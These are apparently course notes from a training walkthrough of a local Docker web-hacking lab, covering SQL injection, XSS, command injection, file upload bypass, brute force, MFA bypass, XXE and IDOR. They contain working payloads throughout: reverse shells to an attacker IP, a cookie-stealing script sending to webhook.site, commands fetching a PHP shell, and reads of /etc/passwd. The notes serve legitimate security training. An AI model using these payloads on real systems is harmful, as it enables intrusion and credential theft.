Skip to content

Latest commit

 

History

History
844 lines (602 loc) · 42.1 KB

25. Find & Exploit Common Web Vulnerabilities.md

File metadata and controls

844 lines (602 loc) · 42.1 KB

Find & Exploit Common Web Vulnerabilities

Lab Setup

With PimpMyKali

  1. To install Docker and Docker Compose, run PimpMyKali with ./pimpmykali.sh and select option 7.

  2. To set up the labs, run PimpMyKali again with ./pimpmykali.sh and select option E.

Custom Setup

  1. Alternatively, open a terminal on your Kali Linux virtual machine and run the following commands:

    sudo apt update
    sudo apt install docker.io
    sudo curl -L "https://github.com/docker/compose/releases/download/v2.29.0/docker-compose-linux-x86_64" -o /usr/local/bin/docker-compose
    sudo chmod +x /usr/local/bin/docker-compose
  2. Verify that Docker Compose is installed correctly:

    docker-compose version
  3. Restart your virtual machine.

  4. Download the web labs from TCM's link: labs.

  5. Copy the labs to your desired location and extract the files:

    tar -xf peh-web-labs.tar.gz
    cd labs
    sudo docker-compose up

    The last command starts multiple containers using a single YAML file. You can also run it in the background using -d (detached mode).

    Here are some other useful commands:

    # List all running containers
    sudo docker ps -a
    # Stop the containers
    sudo docker-compose stop
    # Removing the containers, it will also list container ID that are stopped
    sudo docker rm $(sudo docker ps -aq)
    

Running the Lab

The first time you run the lab, it will take some time to download necessary dependencies. Subsequent runs will be much faster. Once you see that mysqld and mysqlx are "ready for connections," the setup is complete.

  1. Set the necessary permissions for the web server, which is required for the file upload labs and the capstone challenge. Run the following command in a separate terminal tab (use Ctrl+Shift+T to open a new tab):
./set-permissions.sh
  1. Open your browser and navigate to http://localhost.

  2. The first time you load the lab, the database will need to be initialized. Follow the instructions in the red box by clicking the link, then return to the homepage.

Note: If at any point you mess up the tables or database of the labs, you can reset it by visiting http://localhost/init.php.

SQL Injection - Introduction

SQL Injection (SQLi) is a critical vulnerability that occurs when an attacker can manipulate SQL queries by injecting malicious input. This can lead to unauthorized access, data manipulation, or even complete control over the database.

Basic SQL commands

sudo systemctl start mysql
sudo mysql
CREATE DATABASE demo_db;
USE demo_db;
CREATE TABLE users (
        id INT AUTO_INCREMENT PRIMARY KEY,
        username VARCHAR(255) NOT NULL,
        password VARCHAR(255) NOT NULL,
        age INT NOT NULL
    );
INSERT INTO users (username, password, age) VALUES ('alice', 'password123', 30);
INSERT INTO users (username, password, age) VALUES ('bob', 'securepass', 25);
SELECT * FROM users;
EXIT;

Common SQL Injection Characters and Techniques

  1. Special Characters: Certain characters are commonly used to exploit SQL Injection vulnerabilities:

    • Single Quote ('): Often used to break out of string literals in SQL queries.
    • Double Quote ("): Used similarly to single quotes, depending on the SQL dialect.
    • Semicolon (;): Can be used to terminate one query and start another.
  2. Basic Injection Example:

    • ' OR 1=1 -- : A common SQL Injection payload. It manipulates the SQL query to always return true, potentially bypassing authentication or exposing data.
      • ': Ends the current string literal.
      • OR 1=1: Always evaluates to true, altering the query logic.
      • --: SQL comment syntax that ignores the rest of the query.
  3. Commenting Out Query:

    • --: A SQL comment that can be used to ignore the rest of a query. This is often used in conjunction with injection payloads to ignore parts of the original query.

SQL Injection - UNION

The UNION operator in SQL is used to combine the results of two or more SELECT statements. However, for the UNION to work correctly, there are two important conditions that must be met:

The number of columns in both SELECT statements must be the same. The data types of the corresponding columns must be compatible. When performing SQL injection, attackers often use the UNION operator to extract additional information from different tables or columns within the same table. However, to successfully use UNION, the number of columns in the injected SELECT statement must match the number of columns in the original query.

Determining the Number of Columns To determine the number of columns in the original query, attackers may inject a series of NULL values into the UNION statement and increase the count of NULLs iteratively until the query executes successfully. This technique is often referred to as a "column enumeration attack."

For example, if the original query is:

SELECT username, email FROM injection0x01 WHERE username = 'jeremy';

An attacker might start with: jeremy' UNION SELECT NULL #

If the number of NULL values does not match the number of columns in the original query, an error will be returned.

The attacker will then increment the number of NULL values: jeremy' UNION SELECT NULL, NULL, NULL #

Once we've identified a vulnerable input field, we can start injecting SQL queries to extract valuable information from the database:

  • Get the Database Version: ' union select null,null,version()#
  • Discover Available Tables: 'union select null, null,table_name from information_schema.tables#
  • Discover Available Columns: 'union select null, null,column_name from information_schema.columns#

To solve the challenge:

  • Identify Columns in a Specific Table: ' UNION SELECT null, null, column_name FROM information_schema.columns WHERE table_name = 'injection0x01' #
  • Extract Data from the Target Table: ' UNION SELECT email, null, password FROM injection0x01 #

This will return the list of email addresses and their corresponding passwords:

Username: jeremy@example.com - Email: jeremyspassword
Username: jessamy@example.com - Email: jessamyspassword
Username: bob@example.com - Email: bobspassword

SQL Injection - Blind

Burp Suite

  1. Open Burp Suite.
  2. Add http://localhost to the Target > Scope section.
  3. Open http://localhost/labs/i0x02.php in Burp Suite's browser (or in Firefox via FoxyProxy).
  4. Log in with the credentials jeremy:jeremy, and send the request to the Repeater.
    • A successful request returns a response with a Content-Length of 1928.
    • When the credentials are incorrect, the Content-Length is 2122.

SQLMap

  1. Copy the POST request into a text file (e.g., request.txt).
  2. To use SQLMap, run the command: sqlmap -r request.txt
  3. SQLMap didn't find any potential vulnerabilities in this request.

Substring in Cookies

  • We have a GET request with the session parameter in the Cookie. We can try to intercept that and add a substring for testing.
  • Modify the request as follows: Cookie: session=6967cabefd763ac1a1a88e11159957db' and substring('alex',1,1)='a'#
  • Since the injected condition is true (the first character of the string 'alex' is 'a'), the query returns a result, and the web page loads normally. This confirms that we can inject substrings.

Burp Suite Intruder

  • We can use Burp Suite's Intruder tool to test each letter of the alphabet to find the first letter in Jessamy's password. Set up the payload as follows: Cookie: session=6967cabefd763ac1a1a88e11159957db' and substring((select password from injection0x02 where username = 'jessamy'),1,1)='§letter§'#
  • The correct payload will yield a different Content-Length. Here, the password starts with Z, the Content-Length is 1347 instead of 2247/48.

SQLMap

  • Save the GET request without the substring payload in a file (e.g., request2.txt).
  • Run SQLMap with the following command: sqlmap -r request2.txt --level=2. level=2 is for cookies as parameter. Agree to all prompts as needed.
sqlmap identified the following injection point(s) with a total of 366 HTTP(s) requests:
---
Parameter: session (Cookie)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: session=6967cabefd763ac1a1a88e11159957db' AND 1204=1204 AND 'DBbN'='DBbN

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: session=6967cabefd763ac1a1a88e11159957db' AND (SELECT 1206 FROM (SELECT(SLEEP(5)))xhQZ) AND 'hVfr'='hVfr
---
  • To retrieve the credentials, use the following command: sqlmap -r request2.txt --level=2 -T injection0x02 --dump
Database: peh-labs
Table: injection0x02
[2 entries]
+---------------------+--------------+----------+--------------------------------------------+
| email               | password     | username | session                                    |
+---------------------+--------------+----------+--------------------------------------------+
| jeremy@example.com  | jeremy       | jeremy   | 6967cabefd763ac1a1a88e11159957db (jeremy)  |
| jessamy@example.com | ZWFzdGVyZWdn | jessamy  | 9dedc6891e2839a791ed37157f1241fe (jessamy) |
+---------------------+--------------+----------+--------------------------------------------+

SQL Injection - Challenge Walkthrough

Union-Based Injection

  • Determine the Number of Columns: Senpai Knife Set' UNION SELECT NULL, NULL, NULL, NULL #
  • Discover Available Tables: Senpai Knife Set' UNION SELECT NULL, NULL, NULL, table_name from information_schema.tables #, we have injection0x03_products and injection0x03_users
  • Retrieve Data from a Table: Senpai Knife Set' UNION SELECT NULL, NULL, NULL, password from injection0x03_users #, we get username: takeshi
  • Senpai Knife Set' UNION SELECT NULL, NULL, NULL, password from injection0x03_users #, we get password: onigirigadaisuki

Burp Suite

  • Intercept the POST request in Burp Suite.
  • Change the product to test.
  • Save the modified request to a file named request3.txt.

SQLMap

  • Dump the Table Data: sqlmap -r request3.txt -T injection0x03_users --dump
Database: peh-labs
Table: injection0x03_users
[1 entry]
+------------------+----------+
| password         | username |
+------------------+----------+
| onigirigadaisuki | takeshi  |
+------------------+----------+

Note: Feel free to use this cheat sheet

XSS - Introduction

Cross-Site Scripting (XSS) is a well-known vulnerability in web applications, though its prevalence is declining as many modern frameworks include built-in protection against XSS by default. XSS is an injection attack where malicious JavaScript code is injected into a web application with the intention of being executed by other users.

Types of XSS

  • Reflected XSS: The injected script is reflected off the web server in the response. It occurs when the malicious script is included in the request and is immediately executed in the response without being stored.

  • Stored XSS: The injected script is permanently stored on the target server, such as in a database. This type of XSS is more dangerous as it can affect multiple users. A variant of stored XSS is Blind XSS, where the attacker cannot see the payload's effect directly and might only be able to test it through indirect methods.

  • DOM-Based XSS: The attack occurs within the client-side JavaScript code, and the injection happens in the Document Object Model (DOM). The malicious script is executed as a result of the DOM manipulation rather than server-side code.

XSS - DOM Lab

  • In this lab, there is an input field that allows us to add entries to a to-do list. No data is sent to a server, as confirmed by checking the Network section of the browser's inspector. This suggests the presence of a DOM-based XSS vulnerability.

  • To test for XSS, enter the following payload into the input field: <img src=x onerror="prompt(1)">. This payload uses a fake image URL to trigger an error, causing the onerror event to execute the JavaScript code. The prompt box appears. It indicates the presence of a DOM-based XSS vulnerability.

XSS - Stored Lab

  • For this lab, you'll need two Firefox add-ons:

  • After installing the add-ons, open the lab in two separate containers (e.g., Personal and Work).

  • In the Personal container:

    • Click on "Allow" in the Cookie-Editor interface and add a fake cookie.
    • Open the browser console and type document.cookie. You should see your fake cookie displayed.
  • In the Work container:

    • Enter the same document.cookie command in the console. You should receive an empty string, confirming that the sessions are separate.
  • To test for stored XSS:

    • In the Personal container, enter a comment: <h1>test</h1>. The HTML should be reflected in the comment.
    • Switch to the Work container and refresh the page. You should see the same comment <h1>test</h1>.

    This indicates a stored XSS vulnerability, as the input from the Personal container is reflected and visible in the Work container.

XSS - Challenge Walkthrough

In this challenge, we need to understand how to use a Webhook to capture and observe the payload in action.

  1. Set Up Your Webhook: Use a service like Webhook.site to generate a unique Webhook URL.
  2. Add the following payload in the message field where XSS can be injected:
    <script>
      let i = new Image();
      i.src = "https://webhook.site/<webhook_id>?" + document.cookie;
    </script>
  3. Monitor the Webhook: Keep an eye on the Webhook service dashboard. Open http://localhost/labs/x0x03_admin.php. When the admin panel refreshes or interacts with the payload, you will receive requests at your Webhook URL.
  4. Capture the Admin’s Cookie: The Webhook requests will contain the document.cookie from the admin’s session. Review these requests to obtain the admin’s cookie.

Command Injection - Introduction

Command injection is a vulnerability that allows an attacker to manipulate an application into executing arbitrary system commands on the server. This occurs when an application passes unsafe data, often user input, to a system shell.

For example, a vulnerable web application might take a file path from a query parameter and use it to read a file, like so:

$file = $_GET['file'];
system("cat /var/www/html/$file");

If an attacker uses a payload such as ; ls -la in the file parameter, they can make the application execute an additional command that lists all files in the current directory.

Command injection can often lead to:

  • Remote code execution
  • Denial of Service
  • Data breach
  • Privilege escalation

Source: AppSecExplained

Command Injection - Basics

  • There is a field to enter web URLs, which returns a response code on the screen. It also displays the command executed in the backend to retrieve the result.
  • Test for command injection vulnerability: Use the payload ; sleep 10. If the response takes 10 seconds, it confirms that we can inject commands.
  • Gather information about the machine: Use ; uname -a; asd. asd is a harmless string used to ensure the command injection works correctly without causing syntax errors. The output reveals Linux 002aabef9f88 6.8.11-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.8.11-1kali2 (2024-05-30) x86_64 GNU/Linux.
  • Retrieve passwords: ; cat /etc/passwd; asd

Bash TCP

  • Refer to Bash TCP payloads
  • Find Bash Path: ; which bash; asd. It gives us /bin/bash
  • Open a port on your machine: nc -lvnp 4242
  • Attempt Bash TCP reverse shel: ; /bin/bash -l > /dev/tcp/192.168.92.128/4242 0<&1 2>&1; asd. It doesn't work.

PHP

  • Refer to PHP payloads
  • Find PHP path: ; which php; asd. It gives us /usr/local/bin/php
  • Open a port on your machine: nc -lvnp 4242
  • Attempt Bash TCP reverse shel: ; /usr/local/bin/php -r '$sock=fsockopen("192.168.92.128",4242);exec("/bin/sh -i <&3 >&3 2>&3");' asd. This should establish a reverse shell connection to your machine.

Command Injection - Blind / Out-of-Band

Verify Command Execution

  • The command executed in the backend is no longer printed out. Create a webhook address using Webhook.site.
  • Test the command execution by entering: https://webhook.site/<webhook_id>?"whoami". Check the Webhook.site interface for a request with the payload in the query string. This confirms that we can execute commands.

Set Up the Python HTTP Server

  • Start a Python HTTP server on your machine: python3 -m http.server 80800
  • Use the following payload to test if requests can be made: http://tcm-sec.com \\n wget 192.168.92.128:8080/test. \\n (newline) ensures that the command is executed correctly. A 404 error in your server logs indicates that requests are being made successfully.

Prepare the PHP Reverse Shell

  • On your Linux machine, locate and copy the PHP reverse shell script using: cp /usr/share/webshells/laudanum/php/php-reverse-shell.php .. This copies the reverse shell script to your current directory.
  • Edit the php-reverse-shell.php file to update the IP address and port number to match your attacker's machine IP address and the port you will be listening on (4444).

Deploy the Reverse Shell

Upload the Reverse Shell

There are two methods to upload the reverse shell:

  • Method 1: Use wget to download the reverse shell directly:

    http://tcm-sec.com \\n wget 192.168.92.128:8080/php-reverse-shell.php
  • Method 2: Use curl to download and save the reverse shell:

    http://tcm-sec.com && curl 192.168.92.128:8080/php-reverse-shell.php > /var/www/html/php-reverse-shell.php

Set Up Netcat to Listen for the Reverse Shell

On your attacker machine, start a Netcat listener on port 4444:

nc -nvlp 4444

After using the second method, connect to http://localhost/php-reverse-shell.php to trigger the reverse shell.

Command Injection - Challenge Walkthrough

  • Test Command Injection: Experiment with the input fields. Commands can be executed if you use the format <random-value>)^2))}';<command>;#. We get www-data printed for Y.
  • Open a port on your machine: nc -lvnp 4242
  • Use a PHP Reverse Shell Payload: <random-value>)^2))}';php -r '$sock=fsockopen("192.168.92.128",4242);exec("/bin/sh -i <&3 >&3 2>&3");';#. This payload will create a PHP one-liner that connects back to your Netcat listener, providing a shell on the target machine.

Insecure File Upload - Introduction

Insecure File Upload is a vulnerability that arises when an application permits the uncontrolled and unvalidated upload of files. This vulnerability can be exploited by attackers to upload malicious files, such as web shells, which can then be used to execute arbitrary code, leak sensitive data, or perform other malicious actions.

Example Scenario

Consider an application that allows users to upload profile pictures without verifying the file type and content, or without properly managing the file storage. An attacker could upload a PHP shell script disguised as an image file. When this file is accessed on the server, the malicious script can be executed, leading to a security breach.

Potential Impacts

  • Remote Code Execution (RCE): Attackers can execute arbitrary code on the server by uploading and running malicious files.
  • Data Leakage: Sensitive data may be exposed or accessed if attackers can read or modify files on the server.
  • Server Compromise: Successful attacks can lead to full server compromise, giving attackers control over the server environment.

Source: AppSecExplained

Insecure File Upload - Basic Bypass

Inspect the Upload Logic

  • Create a test file: echo "test" > test.txt

  • Attempt to upload the file. It’s rejected with the message: Only '.jpg' and '.png' files are allowed.

  • Open the Network tab in your browser’s developer tools. Try uploading the file again. Notice that no request is sent to the server, indicating that the validation occurs on the client side.

  • Inspect HTML and JavaScript:

    <input
      class="form-control"
      type="file"
      id="formFile"
      name="uploaded_file"
      onchange="validateFileInput(this);"
    />
    function validateFileInput(input) {
      var validExtensions = ["jpg", "png"];
      var fileName = input.files[0].name;
      var fileNameExt = fileName.substr(fileName.lastIndexOf(".") + 1);
      if (!validExtensions.includes(fileNameExt.toLowerCase())) {
        input.value = "";
        alert("Only '.jpg' and '.png' files are allowed.");
      }
    }

The file type validation is done on the client side, which can be bypassed.

Bypass with Burp Suite

  • Use Burp Suite to intercept the request while uploading a PNG file.
  • Send the captured POST request to Burp Suite’s Repeater.
  • Modify the request:
------WebKitFormBoundarys4LqsykPyayRS76o
Content-Disposition: form-data; name="uploaded_file"; filename="testfile.txt"
Content-Type: text/plain

This is a test file with some text content.
------WebKitFormBoundarys4LqsykPyayRS76o--

The file upload succeeds despite the file being a .txt instead of an image.

PHP Payload Injection

  • Modify the file details:
    • Change Filename: cmd.php
    • Change Content-Type: image/png
    • Insert PHP Payload: copy the system one
  • Use the modified request to upload the PHP file. It uploads successfully.
  • Use ffuf to discover where the uploaded file is stored: ffuf -u http://localhost/FUZZ -w /usr/share/wordlists/dirb/common.txt
  • The labs directory is promising. Refine the search: ffuf -u http://localhost/labs/FUZZ -w /usr/share/wordlists/dirb/common.txt
  • The file is stored in uploads.
  • Access the uploaded file in the browser and execute commands: http://localhost/labs/uploads/cmd.php?cmd=whoami

Insecure File Upload - Magic Bytes

  • Attempt to reuse the technique we've seen to upload a PHP file. This time, the server blocks our request: Only '.jpg' and '.png' files are allowed. Sorry, your file was not uploaded.
  • We want to mimic the signature of a PNG file, which is identified by specific "magic bytes." Download a PNG file from Test picture generator.
  • Open Burp Suite to intercept the POST request and upload the PNG file.
  • Send the request to Burp Suite's repeater.
  • Change the filename to cmd2.php.
  • Add the PHP payload after the second line of the file starting with IHDR. You can use a PHP payload like the system one from JohnTroony's php-webshells.
  • The file uploads successfully: The file cmd2.php has been uploaded.
  • Navigate to http://localhost/labs/uploads/cmd2.php?cmd=whoami. You should see www-data at the end of the first line. Try other commands, like cat /etc/passwd.

Insecure File Upload - Challenge Walkthrough

  • We follow the same steps as in the previous section. This time, php files are rejected with the message: The file extension '.php' is not allowed. Sorry, your file was not uploaded.
  • We try using the php5 extension, and it works: The file cmd3.php5 has been uploaded.
  • Unfortunately, the server can't execute php5 files. We attempt other extensions: php4, php3, php2, php1. None of these work.
  • Next, we try the phtml extension. This extension is used for files that contain PHP code and HTML content. It works: The file cmd3.phtml has been uploaded.
  • Navigate to http://localhost/labs/uploads/cmd3.phtml?cmd=whoami. You should see www-data at the end of the first line.

Attacking Authentication - Intro

Authentication is the process by which a system confirms the identity of a user or application. It's essentially all about who you are.

Targeting authentication mechanisms allows us to impersonate users, admins, or systems and gain unauthorized access. Often, we look to attack logic issues and lack of brute-force protection.

Common targets in authentication attacks include:

  • Passwords or passphrases
  • Multi-Factor Authentication (MFA)
  • Session tokens
  • Cookies
  • Recovery questions and answers

Source: AppSecExplained

Attacking Authentication - Brute Force

Brute forcing authentication requires methodical approaches. Keep in mind that attacking live systems may be slow, and a large wordlist might be impractical.

Burp Suite

  • Open Burp Suite: Begin by opening Burp Suite to intercept HTTP requests.
  • Set Up Authentication Test: Use the credentials jeremy:password in the authentication form.
  • Configure Burp Suite Intruder:
    • Send the POST request to Burp Suite’s Intruder.
    • Add the password field as a variable to be fuzzed.
  • Load Payloads:
    • In the Payloads tab, load the wordlist from /usr/share/seclists/SecLists-master/Passwords/Common-Credentials/best1050.txt. If you cannot find this file, use locate seclists to locate it.
    • Note: If the wordlist is too small to find the correct password, consider using a larger list, but be aware that Burp Suite is throttled/rate-limited.
  • Analyze Results:
    • Order the results by length. Look for a size discrepancy. In our case, letmein has a unique size.
    • Try logging in with letmein. Success will be indicated by a message: You have successfully logged in!

ffuf

  • Prepare the Request:

    • Copy the POST request into a text file named request.txt.
    • Replace the password variable with FUZZ to indicate where ffuf should inject the payload.
  • Run ffuf:

    • Execute the following command to start the fuzzing process:

      ffuf -request request.txt -request-proto http -w /usr/share/seclists/SecLists-master/Passwords/Common-Credentials/best1050.txt -fs 1814
    • The -fs 1814 flag filters out responses with a specific size, which can help in identifying successful password guesses.

  • Output:

    letmein                 [Status: 200, Size: 1808, Words: 494, Lines: 47, Duration: 9ms]
    :: Progress: [1049/1049] :: Job [1/1] :: 59 req/sec :: Duration: [0:00:04] :: Errors: 0 ::
    

Attacking Authentication - MFA

Multi-Factor Authentication (MFA) is a method of confirming a user's identity by using multiple pieces of evidence (factors), typically something they know (like a password), something they have (like a physical token or a mobile device), and something they are (like biometric data).

Audit

  • Read this checklist.
  • Open Burp Suite to monitor HTTP requests.
  • As recommended, start by going through the MFA process: you have to enter jessamy:pasta. Then, you're asked for a one-time code: Please enter your MFA code. Generate it through the link provided, and copy-paste the code. You're now logged in.
  • Now, we need to think about implementation weaknesses, ways to bypass MFA, and backdoors.
  • In our case, we have two ways to attack MFA:
    1. Editing the username in the POST request with the one-time code.
    2. Brute-forcing the MFA code itself, since it's a six-figure number (e.g., 000000 to 999999).

Username Change

  • Enter jessamy:pasta to log in. Open a new tab to generate a one-time code.
  • Turn Burp Suite's interceptor on. Send the form request with the one-time code. Edit the POST request, and change jessamy to jeremy. Forward the request.
  • You should see: Target account: jeremy, Your credentials: jessamy:pasta, and Welcome jeremy.

Attacking Authentication - Challenge Walkthrough

Method

  • The goal is to find a valid account and log in. There’s a risk of locking out accounts after 5 unsuccessful attempts.

  • Open Burp Suite to monitor HTTP requests.

  • Start with a random username to see if errors are displayed to users. No errors are displayed.

  • Look for easy usernames:

    admin
    user
    test
    guest
    administrator
    root
    info
    support
    sysadmin
    superuser
    
  • Interestingly, with admin, we get an error message: Password incorrect, added a lockout attempt. This indicates that the account exists.

  • With only four attempts left, choose from common passwords:

    admin
    password
    123456
    1234
    12345
    12345678
    qwerty
    letmein
    welcome
    admin123
    
  • Create a pwd.txt file with the following:

    123456
    password
    letmein
    teashop
    

ffuf

  • Copy the POST request to a request3.txt file. Edit the params to: username=FUZZUSER&password=FUZZPASS
  • Use a list to ensure no other accounts are missed: /usr/share/seclists/SecLists-master/Usernames/top-usernames-shortlist.txt
  • A working password is found:
[Status: 200, Size: 3378, Words: 1270, Lines: 68, Duration: 12ms]
    * FUZZPASS: letmein
    * FUZZUSER: admin

:: Progress: [68/68] :: Job [1/1] :: 15 req/sec :: Duration: [0:00:04] :: Errors: 0 ::
  • When using these credentials, the message Successfully logged in! Challenge complete! is displayed.

Burp Suite

  • Open http://localhost/init.php to ensure previous attempts are reset.
  • Send the POST request to the intruder. Select Cluster bomb for the attack type. Define admin and password as variables.
  • In the Payloads tab, for Payload 1, load the list from /usr/share/seclists/SecLists-master/Usernames/top-usernames-shortlist.txt
  • For Payload 2, load your pwd.txt file.
  • Launch the attack.
  • With admin:letmein, a response is received with Successfully logged in! Challenge complete!

XXE - External Entities Injection

XML External Entity (XXE) vulnerabilities occur when an application processes XML input that includes a reference to an external entity. This vulnerability can affect any technology that parses XML. By exploiting an XXE vulnerability, an attacker can read local files on the server, interact with internal systems, or conduct denial of service attacks.

A Simple Example

A vulnerable application might parse XML input from a user without disabling external entities. An attacker could then send XML like the following:

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<foo>&xxe;</foo>

In this case, the XML parser will replace &xxe; with the contents of the /etc/passwd file and include it in the output.

XXE can often lead to:

  • Disclosure of internal files
  • Server Side Request Forgery (SSRF)
  • Denial of Service
  • Remote Code Execution in some rare cases

Source: AppSecExplained

Method

  • In our lab, the upload interface is likely an internal system tool for admins to bulk update user info.
  • Always test if your application accepts XML files. If you have to test API endpoints, try sending XML. Sometimes it is accepted, and the endpoint could be vulnerable to XXE.
  • The XML files are in /user-content in the labs folder you downlodaded.
  • View the files: cat xxe-safe.xml and cat xxe-exploit.xml. The exploit is similar to the simple example mentioned above.
  • First, upload xxe-safe.xml
    File uploaded and parsed successfully:
    User: testuser
    Password: testpass
    
  • Now, upload xxe-exploit.xml. The interface should display the passwords.

IDOR - Insecure Direct Object Reference

IDOR (Insecure Direct Object Reference), also known as BOLA (Broken Object Level Authorization), is a type of access control vulnerability that occurs when an application improperly allows users to access objects directly by referencing them via a parameter, such as a file, database record, or URL, without proper authorization checks. This can lead to unauthorized access to sensitive data or actions.

For example, if a web application or an API allows users to view their own account details by passing an account ID in the URL (/?account=1018), but doesn't verify that the user is authorized to view that specific ID, an attacker could modify the ID to access another user's account (?account=1019), leading to a potential data breach.

IDOR vulnerabilities are particularly dangerous because they are often easy to exploit and can lead to significant security issues, including unauthorized data access, manipulation, or even deletion. Properly implementing authorization checks on the server side is crucial to preventing IDOR/BOLA vulnerabilities.

ffuf

  • In our lab, we want to enumerate all available accounts by creating a sequence from 0 to 2000. Use the following command: ffuf -u "http://localhost/labs/e0x02.php?account=FUZZ" -w <(seq 0 2000) -fs 849 -of csv -o ids.csv
  • To extract IDs from the CSV file, extract the first column (IDs), skip the header, sort them, and save: cut -d ',' -f1 ids.csv | tail -n +2 | sort -n > ids.txt
  • User accounts have IDs between 1000 and 1019.
  • We want to gather all user information and filter out admin users. Use the following script to fetch user details and filter by Type: admin:
while IFS= read -r id; do
    # Fetch the response for the current ID
    response=$(curl -s "http://localhost/labs/e0x02.php?account=$id")

    # Extract Username, Address, and Type using grep and awk
    username=$(echo "$response" | grep -oP '(?<=<p>Username: ).*?(?=</p>)')
    address=$(echo "$response" | grep -oP '(?<=<p>Address: ).*?(?=</p>)')
    type=$(echo "$response" | grep -oP '(?<=<p>Type: ).*?(?=</p>)')

    # Check if Type is 'admin'
    if [[ "$type" == "admin" ]]; then
        # Write to output file
        echo "ID: $id | Username: $username | Address: $address | Type: $type" >> output.txt
    fi
done < ids.txt
  • We get the following 4 admin users:
ID: 1008 | Username: harry | Address: 99, Potter Drive, HGP 3KT | Type: admin
ID: 1010 | Username: jack | Address: 121, Sparrow Street, PRT 4BD | Type: admin
ID: 1012 | Username: lucy | Address: 141, Diamond Street, LDN 2RT | Type: admin
ID: 1014 | Username: nancy | Address: 161, Drew Drive, USA 2ND | Type: admin

Burp Suite

  • Send the GET request http://localhost/labs/e0x02.php?account=1009 to the Intruder.
  • Select Sniper as the type of attack.
  • Define the account ID as a variable.
  • Create a sequence of account IDs from 1 to 2000 using the following command: python3 -c "for i in range (1,2001): print(i)" > num.txt
  • In the Payloads tab, load the sequence file num.txt
  • Launch the attack.
  • Order the results by response length:
    • A length of 1168 indicates No account information found
    • Responses with a length around 1210 to 1220 contain user information.

Capstone - Introduction

Objective

Perform a comprehensive security audit of a small application with login functionality. Instead of focusing on a single critical vulnerability that might lead to code execution, aim to identify all impactful issues across various attack vectors.

Topics to Cover

  • SQL Injection: Test for vulnerabilities in database queries.
  • Cross-Site Scripting (XSS): Check for script injection and improper handling of user inputs.
  • Command Injection: Look for potential injection points where system commands might be executed.
  • Insecure File Upload: Assess file upload functionality for risks such as arbitrary file upload or code execution.
  • Authentication: Evaluate authentication mechanisms for weaknesses like poor password policies or insecure session management.
  • XML External Entity (XXE): Test XML parsing for vulnerabilities that could lead to file disclosure or other attacks.
  • Insecure Direct Object References (IDOR): Check for unauthorized access to resources through predictable URLs or parameters.

Lab Reset

To reset the lab environment, use the following URL: http://localhost/capstone/init.php

Capstone - Solution

ENUMERATION

  • Use FFUF to enumerate directories and files within the target. The command below specifies the URL and wordlist to use, along with recursion to explore subdirectories: ffuf -u http://localhost/capstone/FUZZ -w /usr/share/wordlists/dirb/common.txt -e .php -recursion
  • Alternatively, use Gobuster to enumerate directories and files. The command below specifies the URL, wordlist, and file extensions to search for: gobuster dir -u http://localhost/capstone -w /usr/share/seclists/SecLists-master/Discovery/Web-Content/raft-small-files.txt -x .php

PATHS

SQL Injection

  • Save the following Burp Suite request to a text file (coffee.txt): http://localhost/capstone/coffee.php?coffee=1
  • Use SQLMap to test for SQL injection vulnerabilities: sqlmap -r coffee.txt
Parameter: coffee (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: coffee=1' AND 6176=6176 AND 'qrgz'='qrgz

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: coffee=1' AND (SELECT 2932 FROM (SELECT(SLEEP(5)))FsSG) AND 'bflN'='bflN

    Type: UNION query
    Title: Generic UNION query (NULL) - 7 columns
    Payload: coffee=1' UNION ALL SELECT NULL,CONCAT(0x7178706b71,0x42654f7050784b4572776a51454270704c766b4c5952535661526145684d4c6f74556e7756555a4a,0x7170787871),NULL,NULL,NULL,NULL,NULL-- -

  • Dump the users table (identified during the command injection part below) using: sqlmap -r coffee.txt -T users --dump
Table: users
[8 entries]
+---------+--------+--------------------------------------------------------------+----------+
| user_id | type   | password                                                     | username |
+---------+--------+--------------------------------------------------------------+----------+
| 1       | admin  | $2y$10$F9bvqz5eoawIS6g0FH.wGOUkNdBYLFBaCSzXvo2HTegQdNg/HlMJy | jeremy   |
| 2       | admin  | $2y$10$meh2WXtPZgzZPZrjAmHi2ObKk6uXd2yZio7EB8t.MVuV1KwhWv6yS | jessamy  |
| 3       | admin  | $2y$10$cCXaMFLC.ymTSqu1whYWbuU38RBN900NutjYBvCClqh.UHHg/XfFy | raj      |
| 4       | user   | $2y$10$ojC8YCMKX2r/Suqco/h.TOFTIaw5k3Io5FVSCeWjCCqL8GWwmAczC | bob      |
| 5       | user   | $2y$10$EPM4Unjn4wnn4SjoEPJu7em6OLISImA50QS3T1jCLyh48d7Pv6KBi | maria    |
| 6       | user   | $2y$10$qAXjb233b7CMHc69CU.8ueluFWZDt9f08.XYJjsJ.EfC/O5JGSOqW | amir     |
| 7       | user   | $2y$10$37gojoTFmj86E6NbENGg9e2Xu2z6OKKSgnjYxDkXJn/8dvSk2tKfG | xinyi    |
| 8       | user   | $2y$10$5sVvPfZOjzRTSeXJtQBGc.CfsDEwvITNkIg2IF9jSBhZZ1Rq.IK3. | kofi     |
+---------+--------+--------------------------------------------------------------+----------+

  • Use Hashcat to crack the extracted password hashes. For example, to crack the bcrypt hash for jeremy: hashcat -m 3200 -a 0 '$2y$10$F9bvqz5eoawIS6g0FH.wGOUkNdBYLFBaCSzXvo2HTegQdNg/HlMJy' /usr/share/seclists/SecLists-master/Passwords/xato-net-10-million-passwords-10000.txt
  • The password captain1 is cracked for the user jeremy.

Cross-Site Scripting (XSS)

  • You can inject a script into the comment section using the following payload: <script>prompt(1)</script>
  • By creating session containers, it's possible to exploit XSS to retrieve a cookie from one container in another with <script>document.cookie</script>.

Command Injection

  • To determine how many columns are required for the SQL injection to work, use the following URL: http://localhost/capstone/coffee.php?coffee=1%27%20union%20select%20null,null,null,null,null,null,null%20--%20-. This query shows that 7 columns are needed.
  • Once you know the number of columns, you can start gathering information about the database tables: http://localhost/capstone/coffee.php?coffee=1%27%20union%20select%20null,TABLE_NAME,%27string%27,null,null,null,null%20FROM%20INFORMATION_SCHEMA.TABLES--%20-
  • To get the column names from a specific table, use: http://localhost/capstone/coffee.php?coffee=1%27%20union%20select%20null,Column_name,%27string%27,null,null,null,null%20FROM%20INFORMATION_SCHEMA.COLUMNS--%20-
